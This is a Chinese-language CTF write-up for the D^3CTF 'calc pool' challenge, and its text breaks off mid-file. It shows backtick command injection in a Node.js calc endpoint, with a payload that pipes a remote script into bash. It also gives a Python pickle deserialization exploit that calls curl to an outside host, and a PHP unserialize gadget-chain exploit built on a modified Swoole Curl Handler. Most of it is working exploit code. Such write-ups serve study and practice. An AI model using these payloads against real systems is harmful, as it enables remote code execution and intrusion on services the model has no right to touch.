CTF Web安全

AntCTF x D^3CTF calc pool

Posted on 2021-03-08,25 min read

根据题目给的docker。大致意思如下

    
                                                ->python
    nodejs->web界面+发送数据->php
                                                ->java

我们看到的界面就是nodejs的。随手测了下。发现a和b。反引号直接就执行命令了
弹shell

calc?language=php&action=add&a=2&b=`curl xxxxxxxx/shell2.html|bash`

进入以后。直接读app.js

const fs = require('fs')
const express = require('express')
const {exec} = require('child_process')
const format = require("string-format")
const dotenv = require("dotenv");

dotenv.config()

const app = express()

app.use(express.static('public'));

app.get("/", (req, res) => {
    return res.redirect("/redirect?filename=index.html")
})

app.get("/redirect", (req, res) => {
    let filename = req.query.filename
    res.sendFile(`${__dirname}/` + filename)
})


app.get('/calc', (req, res) => {
    let params = req.query
    var lang = params.language !== undefined ? params.language : "python"

    let calc_client_path = {
        "python": process.env.py_calc_tool_path,
        "php": process.env.php_calc_tool_path,
        "java": process.env.java_calc_tool_path
    }

    if (lang === 'python') {
        let data = {
            "action": params.action,
            "a": params.a,
            "b": params.b,
            "ip": process.env.py_calc_address,
            "port": process.env.py_calc_port
        }
        var cmd = format(calc_client_path.python + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
    } else if (lang === 'php') {
        let data = {
            "action": params.action,
            "a": params.a,
            "b": params.b,
            "ip": process.env.php_calc_address,
            "port": process.env.php_calc_port
        }
        var cmd = format(calc_client_path.php + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
    } else if (lang === 'java') {
        let data = {
        "action": params.action,
        "a": params.a,
        "b": params.b,
        "ip": process.env.java_calc_address,
        "port": process.env.java_calc_port
    }
        var cmd = format("java -jar" + " " + calc_client_path.java + " " + '-action {action} -a {a} -b {b} -ip {ip} -p {port}', data)
    }

    try {
        exec(cmd, ((error, stdout, stderr) => {
            res.send(stdout)
        }))
    } catch (e) {
        res.send("Something Error")
    }
})


const port = process.env.web_app_port

app.listen(port, () => {
    console.log(`App listening at http://0.0.0.0:${port}`)
})

简单读一下。就是三个client。发送数据。没了
一个个拖下来。

Python部分

objcopy --dump-section pydata=pydata.dump pythonclient
python3 pyinstxtractor.py pydata.dump
cd pydata.dump_extracted
uncompyle6 client.py

得到源码

import socket, sys, _pickle as pickle, argparse
from Calculator import Calculator

def generate_data(action, a, b):
    obj = Calculator(action, a, b)
    data = pickle.dumps(obj)
    return data


def send_data(ip, port, pickle_data):
    address = (
     ip, int(port))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)
    try:
        s.connect(address)
    except Exception:
        print('Server not found or not open')
        sys.exit()

    try:
        try:
            s.sendall(pickle_data)
            recv_c = s.recv(1024)
            print(recv_c.decode())
        except Exception:
            s.close()

    finally:
        s.close()


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-ip', '--ip_address', help='',
      required=True)
    parser.add_argument('-p', '--port', help='', required=True)
    parser.add_argument('-action', help='', required=True)
    parser.add_argument('-a', help='', required=True)
    parser.add_argument('-b', help='', required=True)
    args = parser.parse_args()
    if args.ip_address is None:
        args.ip_address = '127.0.0.1'
    if args.port is None:
        args.port = 8080
    data = generate_data(args.action, args.a, args.b)
    send_data(args.ip_address, args.port, data)
# okay decompiling client.pyc

pickle.dumps。不多说了。exp:

import socket, sys, _pickle as pickle,os


class Calculator(object):
    def __init__(self,action,a,b):
        self.a = a 
        self.b = b 
    def __reduce__(self):
        return (os.system, ('curl xxxxxxxx',))

def generate_data(action, a, b):
    obj = Calculator(action, a, b)
    data = pickle.dumps(obj)
    return data


def send_data(ip, port, pickle_data):
    address = (
     ip, int(port))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)
    try:
        s.connect(address)
    except Exception:
        print('Server not found or not open')
        sys.exit()

    try:
        try:
            s.sendall(pickle_data)
            recv_c = s.recv(1024)
            print(recv_c.decode())
        except Exception:
            s.close()

    finally:
        s.close()


if __name__ == '__main__':
    data = generate_data('add', 1,2)
    send_data('172.18.0.5', 8080, data)

成功命令执行

PHP部分

在tmp能看到解压后的代码。用phar extractto也能获得源码

<?php

include_once __DIR__ . "/Calculator.php";

$params = $argv;

$i = 0;

$action = $params[$i + 2];
$a = $params[$i + 4];
$b = $params[$i + 6];
$ip = $params[$i + 8];
$port = $params[$i + 10];


$calculator = new Calculator($action, $a, $b);
$data = serialize($calculator);

// send serialize data
$client = new Swoole\Client(SWOOLE_SOCK_TCP);
if (!$client->connect($ip, $port, -1)) {
    exit("connect failed. Error: {$client->errCode}\n");
}
$client->send($data);
echo $client->recv();
$client->close();
<?php

class Calculator
{
    private $action;
    private $a;
    private $b;
    private $res;

    function __construct($action, $a, $b)
    {
        $this->action = $action;
        $this->a = $a;
        $this->b = $b;
    }

    private function add()
    {
        $this->res = $this->a + $this->b;
    }

    private function sub()
    {
        $this->res = $this->a - $this->b;
    }

    private function mul()
    {
        $this->res = $this->a * $this->b;
    }

    private function div()
    {
        $this->res = $this->a / $this->b;
    }

    public function __invoke()
    {
        // TODO: Implement __invoke() method.
        if ($this->action == 'add') {
            $this->add();
        } elseif ($this->action == "sub") {
            $this->sub();
        } elseif ($this->action == "mul") {
            $this->mul();
        } elseif ($this->action == "div") {
            $this->div();
        }

        return $this->res;
    }
}

随便整点东西。发现服务端报swoole的错误。本地php im|grep swoole发现是4.6.3的swoole
下源码。跟了下。发现RCTF null的非预期解可以用。
在源码中。发现最后执行是在_invoke魔术方法中。猜测服务端估计是
$object=unserialize(用户输入);$object()
所以。直接null的exp打就行了

Exp.py

// Author: Wupco (http://www.wupco.cn/)
<?php
// https://github.com/swoole/library/blob/master/src/core/Curl/Handler.php#L309-L319
// delete(L309-L319) (bypass is_resource check) and change class name to Handlep
include("Handler.php");

function process_serialized($serialized)
{
    $new = '';
    $last = 0;
    $current = 0;
    $pattern = '#\bs:([0-9]+):"#';

    while (
            $current < strlen($serialized) &&
            preg_match(
                $pattern,
                $serialized,
                $matches,
                PREG_OFFSET_CAPTURE,
                $current
            )
        ) {
        $p_start = $matches[0][1];
        $p_start_string = $p_start + strlen($matches[0][0]);
        $length = $matches[1][0];
        $p_end_string = $p_start_string + $length;

        # Check if this really is a serialized string
        if (!(
            strlen($serialized) > $p_end_string + 2 &&
                substr($serialized, $p_end_string, 2) == '";'
        )) {
            $current = $p_start_string;
            continue;
        }
        $string = substr($serialized, $p_start_string, $length);

        # Convert every special character to its S representation
        $clean_string = '';
        for ($i=0; $i < strlen($string); $i++) {
            $letter = $string{$i};
            $clean_string .= ctype_print($letter) && $letter != '\\' ?
                    $letter :
                    sprintf("\\%02x", ord($letter));
            ;
        }

        # Make the replacement
        $new .=
                substr($serialized, $last, $p_start - $last) .
                'S:' . $matches[1][0] . ':"' . $clean_string . '";'
            ;
        $last = $p_end_string + 2;
        $current = $last;
    }

    $new .= substr($serialized, $last);
    return $new;
}
$o = new Swoole\Curl\Handlep("http://baidu.com/");
$o->setOpt(CURLOPT_READFUNCTION, "array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('curl xxxxx');
$o->setOpt(CURLOPT_POST, 1);
$o->setOpt(CURLOPT_POSTFIELDS, "aaa");
$o->setOpt(CURLOPT_HTTPHEADER, ["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);

$a = serialize([$o,'exec']);
echo str_replace("Handlep", "Handler", urlencode(process_serialized($a)));

Handler.php

<?php
/**
 * This file is part of Swoole.
 *
 * @link     https://www.swoole.com
 * @contact  team@swoole.com
 * @license  https://github.com/swoole/library/blob/master/LICENSE
 */

/* @noinspection PhpComposerExtensionStubsInspection, PhpDuplicateSwitchCaseBodyInspection, PhpInconsistentReturnPointsInspection */

declare(strict_types=1);

namespace Swoole\Curl;

use CURLFile;
use ReflectionClass;
use Swoole;
use Swoole\Constant;
use Swoole\Coroutine\Http\Client;
use Swoole\Curl\Exception as CurlException;
use Swoole\Http\Status;

final class Handlep
{
    /**
     * @var Client
     */
    private $client;

    private $info = [
        'url' => '',
        'content_type' => '',
        'http_code' => 0,
        'header_size' => 0,
        'request_size' => 0,
        'filetime' => -1,
        'ssl_verify_result' => 0,
        'redirect_count' => 0,
        'total_time' => 5.3E-5,
        'namelookup_time' => 0.0,
        'connect_time' => 0.0,
        'pretransfer_time' => 0.0,
        'size_upload' => 0.0,
        'size_download' => 0.0,
        'speed_download' => 0.0,
        'speed_upload' => 0.0,
        'download_content_length' => -1.0,
        'upload_content_length' => -1.0,
        'starttransfer_time' => 0.0,
        'redirect_time' => 0.0,
        'redirect_url' => '',
        'primary_ip' => '',
        'certinfo' => [],
        'primary_port' => 0,
        'local_ip' => '',
        'local_port' => 0,
        'http_version' => 0,
        'protocol' => 0,
        'ssl_verifyresult' => 0,
        'scheme' => '',
    ];

    private $withHeaderOut = false;

    private $withFileTime = false;

    private $urlInfo;

    private $postData;

    private $infile;

    private $infileSize = PHP_INT_MAX;

    private $outputStream;

    private $proxyType;

    private $proxy;

    private $proxyPort = 1080;

    private $proxyUsername;

    private $proxyPassword;

    private $clientOptions = [];

    private $followLocation = false;

    private $autoReferer = false;

    private $maxRedirects;

    private $withHeader = false;

    private $nobody = false;

    /** @var callable */
    private $headerFunction;

    /** @var callable */
    private $readFunction;

    /** @var callable */
    private $writeFunction;

    /** @var callable */
    private $progressFunction;

    private $returnTransfer = false;

    private $method = '';

    private $headers = [];

    private $headerMap = [];

    private $transfer;

    private $errCode = 0;

    private $errMsg = '';

    private $failOnError = false;

    private $closed = false;

    private $cookieJar = '';

    public function __construct(string $url = '')
    {
        if ($url) {
            $this->setUrl($url);
        }
    }

    public function __toString()
    {
        $id = spl_object_id($this);
        return "Object({$id}) of type (curl)";
    }

    /* ====== Public APIs ====== */

    public function isAvailable(): bool
    {
        if ($this->closed) {
            trigger_error('supplied resource is not a valid cURL handle resource', E_USER_WARNING);
            return false;
        }
        return true;
    }

    public function setOpt(int $opt, $value): bool
    {
        return $this->isAvailable() and $this->setOption($opt, $value);
    }

    public function exec()
    {
        if (!$this->isAvailable()) {
            return false;
        }
        return $this->execute();
    }

    public function getInfo()
    {
        return $this->isAvailable() ? $this->info : false;
    }

    public function errno()
    {
        return $this->isAvailable() ? $this->errCode : false;
    }

    public function error()
    {
        return $this->isAvailable() ? $this->errMsg : false;
    }

    public function reset()
    {
        if (!$this->isAvailable()) {
            return false;
        }
        foreach ((new ReflectionClass(static::class))->getDefaultProperties() as $name => $value) {
            $this->{$name} = $value;
        }
    }

    public function getContent()
    {
        if (!$this->isAvailable()) {
            return false;
        }
        return $this->transfer;
    }

    public function close()
    {
        if (!$this->isAvailable()) {
            return false;
        }
        foreach ($this as &$property) {
            $property = null;
        }
        $this->closed = true;
    }

    private function create(?array $urlInfo = null): void
    {
        if ($urlInfo === null) {
            $urlInfo = $this->urlInfo;
        }
        $this->client = new Client($urlInfo['host'], $urlInfo['port'], $urlInfo['scheme'] === 'https');
    }

    private function getUrl(): string
    {
        if (empty($this->urlInfo['path'])) {
            $url = '/';
        } else {
            $url = $this->urlInfo['path'];
        }
        if (!empty($this->urlInfo['query'])) {
            $url .= '?' . $this->urlInfo['query'];
        }
        if (!empty($this->urlInfo['fragment'])) {
            $url .= '#' . $this->urlInfo['fragment'];
        }
        return $url;
    }

    private function setUrl(string $url, bool $setInfo = true): bool
    {
        if (strlen($url) === 0) {
            $this->setError(CURLE_URL_MALFORMAT, 'No URL set!');
            return false;
        }
        if (strpos($url, '://') === false) {
            $url = 'http://' . $url;
        }
        if ($setInfo) {
            $urlInfo = parse_url($url);
            if (!is_array($urlInfo)) {
                $this->setError(CURLE_URL_MALFORMAT, "URL[{$url}] using bad/illegal format");
                return false;
            }
            if (!$this->setUrlInfo($urlInfo)) {
                return false;
            }
        }
        $this->info['url'] = $url;
        return true;
    }

    private function setUrlInfo(array $urlInfo): bool
    {
        if (empty($urlInfo['scheme'])) {
            $urlInfo['scheme'] = 'http';
        }
        $scheme = $urlInfo['scheme'];
        if ($scheme !== 'http' and $scheme !== 'https') {
            $this->setError(CURLE_UNSUPPORTED_PROTOCOL, "Protocol \"{$scheme}\" not supported or disabled in libcurl");
            return false;
        }
        $host = $urlInfo['host'];
        if ($this->info['primary_port'] !== 0) {
            /* keep same with cURL, primary_port has the highest priority */
            $urlInfo['port'] = $this->info['primary_port'];
        } elseif (empty($urlInfo['port'])) {
            $urlInfo['port'] = $scheme === 'https' ? 443 : 80;
        } else {
            $urlInfo['port'] = intval($urlInfo['port']);
        }
        $port = $urlInfo['port'];
        if ($this->client) {
            $oldUrlInfo = $this->urlInfo;
            if (($host !== $oldUrlInfo['host']) || ($port !== $oldUrlInfo['port']) || ($scheme !== $oldUrlInfo['scheme'])) {
                /* target changed */
                $this->create($urlInfo);
            }
        }
        $this->urlInfo = $urlInfo;
        return true;
    }

    private function setPort(int $port): void
    {
        $this->info['primary_port'] = $port;
        if (!isset($this->urlInfo['port']) || $this->urlInfo['port'] !== $port) {
            $this->urlInfo['port'] = $port;
            if ($this->client) {
                /* target changed */
                $this->create();
            }
        }
    }

    private function setError($code, $msg = ''): void
    {
        $this->errCode = $code;
        $this->errMsg = $msg ? $msg : curl_strerror($code);
    }

    private function hasHeader(string $headerName): bool
    {
        return isset($this->headerMap[strtolower($headerName)]);
    }

    private function setHeader(string $headerName, string $value): void
    {
        $lowerCaseHeaderName = strtolower($headerName);

        if (isset($this->headerMap[$lowerCaseHeaderName])) {
            unset($this->headers[$this->headerMap[$lowerCaseHeaderName]]);
        }

        if ($value !== '') {
            $this->headers[$headerName] = $value;
            $this->headerMap[$lowerCaseHeaderName] = $headerName;
        } else {
            // remove empty headers (keep same with raw cURL)
            unset($this->headerMap[$lowerCaseHeaderName]);
        }
    }

    /**
     * @param mixed $value
     * @throws Swoole\Curl\Exception
     */
    private function setOption(int $opt, $value): bool
    {
        switch ($opt) {
            // case CURLOPT_STDERR:
            // case CURLOPT_WRITEHEADER:
            case CURLOPT_FILE:
            case CURLOPT_INFILE:
                if (!is_resource($value)) {
                    //trigger_error('swoole_curl_setopt(): supplied argument is not a valid File-Handle resource', E_USER_WARNING);
                    //return false;
                }
                break;
        }

        switch ($opt) {
            /*
             * Basic
             */
            case CURLOPT_URL:
                return $this->setUrl((string) $value);
            case CURLOPT_PORT:
                $this->setPort((int) $value);
                break;
            case CURLOPT_FORBID_REUSE:
                $this->clientOptions[Constant::OPTION_KEEP_ALIVE] = !$value;
                break;
            case CURLOPT_RETURNTRANSFER:
                $this->returnTransfer = $value;
                $this->transfer = '';
                break;
            case CURLOPT_ENCODING:
                if (empty($value)) {
                    if (defined('SWOOLE_HAVE_ZLIB')) {
                        $value = 'gzip, deflate';
                    }
                    if (defined('SWOOLE_HAVE_BROTLI')) {
                        if (!empty($value)) {
                            $value = 'br, ' . $value;
                        } else {
                            $value = 'br';
                        }
                    }
                    if (empty($value)) {
                        break;
                    }
                }
                $this->setHeader('Accept-Encoding', $value);
                break;
            case CURLOPT_PROXYTYPE:
                if ($value !== CURLPROXY_HTTP and $value !== CURLPROXY_SOCKS5) {
                    throw new Swoole\Curl\Exception(
                        'swoole_curl_setopt(): Only support following CURLOPT_PROXYTYPE values: CURLPROXY_HTTP, CURLPROXY_SOCKS5'
                    );
                }
                $this->proxyType = $value;
                break;
            case CURLOPT_PROXY:
                $this->proxy = $value;
                break;
            case CURLOPT_PROXYPORT:
                $this->proxyPort = $value;
                break;
            case CURLOPT_PROXYUSERNAME:
                $this->proxyUsername = $value;
                break;
            case CURLOPT_PROXYPASSWORD:
                $this->proxyPassword = $value;
                break;
            case CURLOPT_PROXYUSERPWD:
                $usernamePassword = explode(':', $value);
                $this->proxyUsername = urldecode($usernamePassword[0]);
                $this->proxyPassword = urldecode($usernamePassword[1] ?? null);
                break;
            case CURLOPT_PROXYAUTH:
                /* ignored temporarily */
                break;
            case CURLOPT_NOBODY:
                $this->nobody = boolval($value);
                $this->method = 'HEAD';
                break;
            case CURLOPT_IPRESOLVE:
                if ($value !== CURL_IPRESOLVE_WHATEVER and $value !== CURL_IPRESOLVE_V4) {
                    throw new Swoole\Curl\Exception(
                        'swoole_curl_setopt(): Only support following CURLOPT_IPRESOLVE values: CURL_IPRESOLVE_WHATEVER, CURL_IPRESOLVE_V4'
                    );
                }
                break;
            case CURLOPT_TCP_NODELAY:
                $this->clientOptions[Constant::OPTION_OPEN_TCP_NODELAY] = boolval($value);
                break;
            /*
             * Ignore options
             */
            case CURLOPT_VERBOSE:
                // trigger_error('swoole_curl_setopt(): CURLOPT_VERBOSE is not supported', E_USER_WARNING);
            case CURLOPT_SSLVERSION:
            case CURLOPT_NOSIGNAL:
            case CURLOPT_FRESH_CONNECT:
            /*
             * From PHP 5.1.3, this option has no effect: the raw output will always be returned when CURLOPT_RETURNTRANSFER is used.
             */
            case CURLOPT_BINARYTRANSFER: /* TODO */
            case CURLOPT_DNS_USE_GLOBAL_CACHE:
            case CURLOPT_DNS_CACHE_TIMEOUT:
            case CURLOPT_STDERR:
            case CURLOPT_WRITEHEADER:
            case CURLOPT_BUFFERSIZE:
            case CURLOPT_SSLCERTTYPE:
            case CURLOPT_SSLKEYTYPE:
            case CURLOPT_NOPROXY:
            case CURLOPT_CERTINFO:
            case CURLOPT_HEADEROPT:
            case CURLOPT_PROXYHEADER:
                break;
            /*
             * SSL
             */
            case CURLOPT_SSL_VERIFYHOST:
                break;
            case CURLOPT_SSL_VERIFYPEER:
                $this->clientOptions[Constant::OPTION_SSL_VERIFY_PEER] = $value;
                break;
            case CURLOPT_SSLCERT:
                $this->clientOptions[Constant::OPTION_SSL_CERT_FILE] = $value;
                break;
            case CURLOPT_SSLKEY:
                $this->clientOptions[Constant::OPTION_SSL_KEY_FILE] = $value;
                break;
            case CURLOPT_CAINFO:
                $this->clientOptions[Constant::OPTION_SSL_CAFILE] = $value;
                break;
            case CURLOPT_CAPATH:
                $this->clientOptions[Constant::OPTION_SSL_CAPATH] = $value;
                break;
            case CURLOPT_KEYPASSWD:
            case CURLOPT_SSLCERTPASSWD:
            case CURLOPT_SSLKEYPASSWD:
                $this->clientOptions[Constant::OPTION_SSL_PASSPHRASE] = $value;
                break;
            /*
             * Http POST
             */
            case CURLOPT_POST:
                $this->method = 'POST';
                break;
            case CURLOPT_POSTFIELDS:
                $this->postData = $value;
                if (!$this->method) {
                    $this->method = 'POST';
                }
                break;
            /*
             * Upload
             */
            case CURLOPT_SAFE_UPLOAD:
                if (!$value) {
                    trigger_error('swoole_curl_setopt(): Disabling safe uploads is no longer supported', E_USER_WARNING);
                    return false;
                }
                break;
            /*
             * Http Header
             */
            case CURLOPT_HTTPHEADER:
                if (!is_array($value) and !is_iterable($value)) {
                    trigger_error('swoole_curl_setopt(): You must pass either an object or an array with the CURLOPT_HTTPHEADER argument', E_USER_WARNING);
                    return false;
                }
                foreach ($value as $header) {
                    $header = explode(':', $header, 2);
                    $headerName = $header[0];
                    $headerValue = trim($header[1] ?? '');
                    $this->setHeader($headerName, $headerValue);
                }
                break;
            case CURLOPT_REFERER:
                $this->setHeader('Referer', $value);
                break;
            case CURLINFO_HEADER_OUT:
                $this->withHeaderOut = boolval($value);
                break;
            case CURLOPT_FILETIME:
                $this->withFileTime = boolval($value);
                break;
            case CURLOPT_USERAGENT:
                $this->setHeader('User-Agent', $value);
                break;
            case CURLOPT_CUSTOMREQUEST:
                $this->method = (string) $value;
                break;
            case CURLOPT_PROTOCOLS:
                if (($value & ~(CURLPROTO_HTTP | CURLPROTO_HTTPS)) != 0) {
                    throw new CurlException("swoole_curl_setopt(): CURLOPT_PROTOCOLS[{$value}] is not supported");
                }
                break;
            case CURLOPT_REDIR_PROTOCOLS:
                if (($value & ~(CURLPROTO_HTTP | CURLPROTO_HTTPS)) != 0) {
                    throw new CurlException("swoole_curl_setopt(): CURLOPT_REDIR_PROTOCOLS[{$value}] is not supported");
                }
                break;
            case CURLOPT_HTTP_VERSION:
                if ($value != CURL_HTTP_VERSION_1_1) {
                    trigger_error("swoole_curl_setopt(): CURLOPT_HTTP_VERSION[{$value}] is not supported", E_USER_WARNING);
                    return false;
                }
                break;
            case CURLOPT_FAILONERROR:
                $this->failOnError = $value;
                break;
            /*
             * Http Cookie
             */
            case CURLOPT_COOKIE:
                $this->setHeader('Cookie', $value);
                break;
            case CURLOPT_COOKIEJAR:
                $this->cookieJar = (string) $value;
                break;
            case CURLOPT_COOKIEFILE:
                if (is_file((string) $value)) {
                    $this->setHeader('Cookie', file_get_contents($value));
                }
                break;
            case CURLOPT_CONNECTTIMEOUT:
                $this->clientOptions[Constant::OPTION_CONNECT_TIMEOUT] = $value;
                break;
            case CURLOPT_CONNECTTIMEOUT_MS:
                $this->clientOptions[Constant::OPTION_CONNECT_TIMEOUT] = $value / 1000;
                break;
            case CURLOPT_TIMEOUT:
                $this->clientOptions[Constant::OPTION_TIMEOUT] = $value;
                break;
            case CURLOPT_TIMEOUT_MS:
                $this->clientOptions[Constant::OPTION_TIMEOUT] = $value / 1000;
                break;
            case CURLOPT_FILE:
                $this->outputStream = $value;
                break;
            case CURLOPT_HEADER:
                $this->withHeader = $value;
                break;
            case CURLOPT_HEADERFUNCTION:
                $this->headerFunction = $value;
                break;
            case CURLOPT_READFUNCTION:
                $this->readFunction = $value;
                break;
            case CURLOPT_WRITEFUNCTION:
                $this->writeFunction = $value;
                break;
            case CURLOPT_PROGRESSFUNCTION:
                $this->progressFunction = $value;
                break;
            case CURLOPT_HTTPAUTH:
                if (!($value & CURLAUTH_BASIC)) {
                    trigger_error("swoole_curl_setopt(): CURLOPT_HTTPAUTH[{$value}] is not supported", E_USER_WARNING);
                    return false;
                }
                break;
            case CURLOPT_USERPWD:
                $this->setHeader('Authorization', 'Basic ' . base64_encode($value));
                break;
            case CURLOPT_FOLLOWLOCATION:
                $this->followLocation = $value;
                break;
            case CURLOPT_AUTOREFERER:
                $this->autoReferer = $value;
                break;
            case CURLOPT_MAXREDIRS:
                $this->maxRedirects = $value;
                break;
            case CURLOPT_PUT:
            case CURLOPT_UPLOAD:
                /* after libcurl 7.12, CURLOPT_PUT is replaced by CURLOPT_UPLOAD */
                $this->method = 'PUT';
                break;
            case CURLOPT_INFILE:
                $this->infile = $value;
                break;
            case CURLOPT_INFILESIZE:
                $this->infileSize = $value;
                break;
            case CURLOPT_HTTPGET:
                /* Since GET is the default, this is only necessary if the request method has been changed. */
                $this->method = 'GET';
                break;
            default:
                throw new Swoole\Curl\Exception("swoole_curl_setopt(): option[{$opt}] is not supported");
        }
        return true;
    }

    private function execute()
    {
        $this->info['redirect_count'] = $this->info['starttransfer_time'] = 0;
        $this->info['redirect_url'] = '';
        $timeBegin = microtime(true);
        /*
         * Socket
         */
        if (!$this->urlInfo) {
            $this->setError(CURLE_URL_MALFORMAT, 'No URL set or URL using bad/illegal format');
            return false;
        }
        if (!$this->client) {
            $this->create();
        }
        do {
            $client = $this->client;
            /*
             * Http Proxy
             */
            if ($this->proxy) {
                $parse = parse_url($this->proxy);
                $proxy = $parse['host'] ?? $parse['path'];
                $proxyPort = $parse['port'] ?? $this->proxyPort;
                $proxyUsername = $parse['user'] ?? $this->proxyUsername;
                $proxyPassword = $parse['pass'] ?? $this->proxyPassword;
                $proxyType = $parse['scheme'] ?? $this->proxyType;
                if (is_string($proxyType)) {
                    if ($proxyType === 'socks5') {
                        $proxyType = CURLPROXY_SOCKS5;
                    } else {
                        $proxyType = CURLPROXY_HTTP;
                    }
                }

                if (!filter_var($proxy, FILTER_VALIDATE_IP)) {
                    $ip = Swoole\Coroutine::gethostbyname($proxy, AF_INET, $this->clientOptions['connect_timeout'] ?? -1);
                    if (!$ip) {
                        $this->setError(CURLE_COULDNT_RESOLVE_PROXY, 'Could not resolve proxy: ' . $proxy);
                        return false;
                    }
                    $this->proxy = $proxy = $ip;
                }
                switch ($proxyType) {
                    case CURLPROXY_HTTP:
                        $proxyOptions = [
                            'http_proxy_host' => $proxy,
                            'http_proxy_port' => $proxyPort,
                            'http_proxy_username' => $proxyUsername,
                            'http_proxy_password' => $proxyPassword,
                        ];
                        break;
                    case CURLPROXY_SOCKS5:
                        $proxyOptions = [
                            'socks5_host' => $proxy,
                            'socks5_port' => $proxyPort,
                            'socks5_username' => $proxyUsername,
                            'socks5_password' => $proxyPassword,
                        ];
                        break;
                    default:
                        throw new CurlException("Unexpected proxy type [{$proxyType}]");
                }
            }
            /*
             * Client Options
             */
            $client->set(
                $this->clientOptions +
                ($proxyOptions ?? [])
            );
            /*
             * Method
             */
            if ($this->method) {
                $client->setMethod($this->method);
            }
            /*
             * Data
             */
            if ($this->infile) {
                // Infile
                // Notice: we make its priority higher than postData but raw cURL will send both of them
                $data = '';
                while (true) {
                    $nLength = $this->infileSize - strlen($data);
                    if ($nLength === 0) {
                        break;
                    }
                    if (feof($this->infile)) {
                        break;
                    }
                    $data .= fread($this->infile, $nLength);
                }
                $client->setData($data);
                // Notice: although we reset it, raw cURL never do this
                $this->infile = null;
                $this->infileSize = PHP_INT_MAX;
            } else {
                // POST data
                if ($this->postData) {
                    if (is_string($this->postData)) {
                        if (!$this->hasHeader('content-type')) {
                            $this->setHeader('Content-Type', 'application/x-www-form-urlencoded');
                        }
                    } elseif (is_array($this->postData)) {
                        foreach ($this->postData as $k => $v) {
                            if ($v instanceof CURLFile) {
                                $client->addFile($v->getFilename(), $k, $v->getMimeType() ?: 'application/octet-stream', $v->getPostFilename());
                                unset($this->postData[$k]);
                            }
                        }
                    }
                }
                $client->setData($this->postData);
            }
            /*
             * Headers
             */
            // Notice: setHeaders must be placed last, because headers may be changed by other parts
            // As much as possible to ensure that Host is the first header.
            // See: http://tools.ietf.org/html/rfc7230#section-5.4
            $client->setHeaders($this->headers);
            /**
             * Execute.
             */
            $executeResult = $client->execute($this->getUrl());
            if (!$executeResult) {
                $errCode = $client->errCode;
                if ($errCode == SWOOLE_ERROR_DNSLOOKUP_RESOLVE_FAILED or $errCode == SWOOLE_ERROR_DNSLOOKUP_RESOLVE_TIMEOUT) {
                    $this->setError(CURLE_COULDNT_RESOLVE_HOST, 'Could not resolve host: ' . $client->host);
                } else {
                    $this->setError($errCode, $client->errMsg);
                }
                $this->info['total_time'] = microtime(true) - $timeBegin;
                return false;
            }
            if ($client->statusCode >= 300 and $client->statusCode < 400 and isset($client->headers['location'])) {
                $redirectParsedUrl = $this->getRedirectUrl($client->headers['location']);
                $redirectUrl = static::unparseUrl($redirectParsedUrl);
                if ($this->followLocation and ($this->maxRedirects === null or $this->info['redirect_count'] < $this->maxRedirects)) {
                    if ($this->info['redirect_count'] === 0) {
                        $this->info['starttransfer_time'] = microtime(true) - $timeBegin;
                        $redirectBeginTime = microtime(true);
                    }
                    // force GET
                    if (in_array($client->statusCode, [Status::MOVED_PERMANENTLY, Status::FOUND, Status::SEE_OTHER])) {
                        $this->method = 'GET';
                    }
                    if ($this->autoReferer) {
                        $this->setHeader('Referer', $this->info['url']);
                    }
                    $this->setUrl($redirectUrl, false);
                    $this->setUrlInfo($redirectParsedUrl);
                    $this->info['redirect_count']++;
                } else {
                    $this->info['redirect_url'] = $redirectUrl;
                    break;
                }
            } elseif ($this->failOnError && $client->statusCode >= 400) {
                $this->setError(CURLE_HTTP_RETURNED_ERROR, "The requested URL returned error: {$client->statusCode} " . Status::getReasonPhrase($client->statusCode));
                return false;
            } else {
                break;
            }
        } while (true);
        $this->info['total_time'] = microtime(true) - $timeBegin;
        $this->info['http_code'] = $client->statusCode;
        $this->info['content_type'] = $client->headers['content-type'] ?? '';
        $this->info['size_download'] = $this->info['download_content_length'] = strlen($client->body);
        $this->info['speed_download'] = 1 / $this->info['total_time'] * $this->info['size_download'];
        if (isset($redirectBeginTime)) {
            $this->info['redirect_time'] = microtime(true) - $redirectBeginTime;
        }

        $headerContent = '';
        if ($client->headers) {
            $cb = $this->headerFunction;
            if ($client->statusCode > 0) {
                $row = "HTTP/1.1 {$client->statusCode} " . Status::getReasonPhrase($client->statusCode) . "\r\n";
                if ($cb) {
                    $cb($this, $row);
                }
                $headerContent .= $row;
            }
            foreach ($client->headers as $k => $v) {
                $row = "{$k}: {$v}\r\n";
                if ($cb) {
                    $cb($this, $row);
                }
                $headerContent .= $row;
            }
            $headerContent .= "\r\n";
            $this->info['header_size'] = strlen($headerContent);
            if ($cb) {
                $cb($this, '');
            }
        } else {
            $this->info['header_size'] = 0;
        }

        if ($client->body and $this->readFunction) {
            $cb = $this->readFunction;
            $cb($this, $this->outputStream, strlen($client->body));
        }

        if ($this->withHeader) {
            $transfer = $headerContent . $client->body;
        } else {
            $transfer = $client->body;
        }

        if ($this->withHeaderOut) {
            $headerOutContent = $client->getHeaderOut();
            $this->info['request_header'] = $headerOutContent ? $headerOutContent . "\r\n\r\n" : '';
        }
        if ($this->withFileTime) {
            if (isset($client->headers['last-modified'])) {
                $this->info['filetime'] = strtotime($client->headers['last-modified']);
            } else {
                $this->info['filetime'] = -1;
            }
        }

        if ($this->cookieJar && $this->cookieJar !== '') {
            if ($this->cookieJar === '-') {
                foreach ((array) $client->set_cookie_headers as $cookie) {
                    echo $cookie . PHP_EOL;
                }
            } else {
                $cookies = '';
                foreach ((array) $client->set_cookie_headers as $cookie) {
                    $cookies .= "{$cookie};";
                }
                file_put_contents($this->cookieJar, $cookies);
            }
        }

        if ($this->writeFunction) {
            if (!is_callable($this->writeFunction)) {
                trigger_error('curl_exec(): Could not call the CURLOPT_WRITEFUNCTION', E_USER_WARNING);
                $this->setError(CURLE_WRITE_ERROR, 'Failure writing output to destination');
                return false;
            }
            call_user_func($this->writeFunction, $this, $transfer);
            return true;
        }

        if ($this->returnTransfer) {
            return $this->transfer = $transfer;
        }
        if ($this->outputStream) {
